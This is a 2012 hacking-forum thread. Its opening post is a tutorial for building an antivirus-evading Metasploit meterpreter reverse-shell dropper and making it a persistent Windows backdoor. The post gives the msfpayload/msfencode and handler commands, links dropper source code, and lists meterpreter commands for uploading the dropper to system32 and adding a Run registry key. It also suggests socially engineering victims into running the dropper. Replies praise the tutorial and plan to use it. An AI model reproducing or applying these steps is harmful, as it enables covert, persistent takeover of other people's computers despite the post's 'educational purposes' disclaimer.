Hack Forums
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: [TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT] (/showthread.php?tid=2392514)

Pages: Pages 1 2 3 4

[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT] - XYLA - Apr 14, 2012

Hi HF


This is for educational purposes only

Today i show you how to create a trojan/dropper for metasploit and how to backdoor Windows with it.

Here is the method I present to you but I am not the author of this video:

http://www.securitytube.net/video/3745

Operating systems used

Backtrack 5 R2 = Attacker(192.168.1.97)
Windows XP sp3

Operating systems vulnerable

Windows 7 and Xp Any Versions = Slave (192.168.1.7)

Software requirements

Dev-C + + Version 4.9.9.2 (in XP)
The Source Code of the video.

1 - Create the file ascii.bin

Launch this command in a console on Backtrack :
Code
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=4444 R|msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 1 X> /root/Desktop/ascii.bin

And copy the ascii.bin in /var/www
Code
Pixo@Backtrack 5 R2# cp /root/Desktop/ascii.bin /var/www

2-Create the trojan/dropper


In Win XP open Dev-C ++ and click on file => new => project
Spoiler (Click to View)

Select empty project and name it
Spoiler (Click to View)

Then create a new source file
Spoiler (Click to View)

Click on file => save as, and name it
Spoiler (Click to View)

Go to
Code
http://www.el-palomo.com/wp-content/uploads/2012/03/codigoC.txt

Copy and Paste the Code
Spoiler (Click to View)

Now replace the ip address with backtrack ip address
Spoiler (Click to View)

Open the options of project
Spoiler (Click to View)

Add a link for wininet with the -lwininet command
Spoiler (Click to View)

For the console is not visible this option is added
Spoiler (Click to View)

Here you can compil your Trojan/Dropper
Spoiler (Click to View)

3-Get a Meterpreter

Start the listener with this command
Code
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

Spoiler (Click to View)

You can use all of method you want to get a meterpreter.

You can social and send your dropper.
Spoiler (Click to View)

-For add a icon for your dropper you can use the method used in this thread

You can exploit a vulnerability.

4-Create the persistent backdoor 🤭


(I know the script persistence.rb there, but I wanted to do a backdoor persistent and undetectable as possible by the antivirus)

If you use the method for add an icon you can add %windir%\system32 in the extract dir.
If you not you can use the meterpreter for upload your dropper with this command:
Code
meterpreter> upload /root/exec.exe C:\\Windows\\system32\\

Add an entry in the register for launch your dropper at windows start
Code
meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v exec -d '"c:\windows\system32\exec.exe"'

Check the register
Code
meterpreter>reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

During the reboot restart your listener
Code
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

You may find your Meterpreter restarts automatically soon as a session is opened.

Conclusion


🤝 From here you are the master on board.🤝


I hope you enjoy it and I'm always looking for a way to inject shellcode into an image and if possible make it undetectable.
You will find links who talk about it on my other TuT all methods of evasion antivirus with metasploit

Analysis :
ascii.bin : https://www.virustotal.com/file/3a2976ffaa107eb0f54dd78655ab67504861c2c93e39d9fd768b47c0ba9aff8c/analysis/1334400026/
exec.exe : https://www.virustotal.com/file/da1ba033536a265cd72320d35da8908d617a17e63a8ae0d6f66bd5c99ccb7795/analysis/1334409609/

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

* - x0rk - Apr 14, 2012

Nice tutorial, as i can see are you french ?

* - XYLA - Apr 14, 2012

Thank you for the return.
Yes I'm French.
You too?

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

* - Ferragamo - Apr 14, 2012

Good Bye Google. Learning new things everyday

* - /Ninja - Apr 14, 2012

Well this is very nice i will start giving this a try right now. Just finished installing my new version of BT. I can practice on some local machines here lol

* - SleazeBeez - Apr 14, 2012

This sound really clever! Thanks for sharing!

* - Pull - Apr 14, 2012

Dude nice tutorial but can you change the font to something less annoying >.<

* - buttErz - Apr 16, 2012

thanks Pixo, I been looking for ways to slip by anti-x w/o a FUD crypter... testing for myself now, appreciate it!
edit: lol meant to post this on your other tut ha

* - XYLA - Apr 22, 2012

Thanks.

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

* - ting - May 2, 2012

Great thing...
Thanks for your tutorial..

Good Luck..

* - XYLA - May 6, 2012

For this thread too, i make a video :

https://hackforums.net/showthread.php?tid=2468812

* - PoRt21 - May 7, 2012

wow gd share mate
very HQ
thank you for share keep it up,,

* - prtablegm - May 8, 2012

Pixo,just keeping this where it is needed.

Portablegamemaster

* - XYLA - Jul 19, 2012

I like your concern !
✌😁✌ 🤝

* - Ametz - Jul 19, 2012

Bookmarked. I will try this in the future.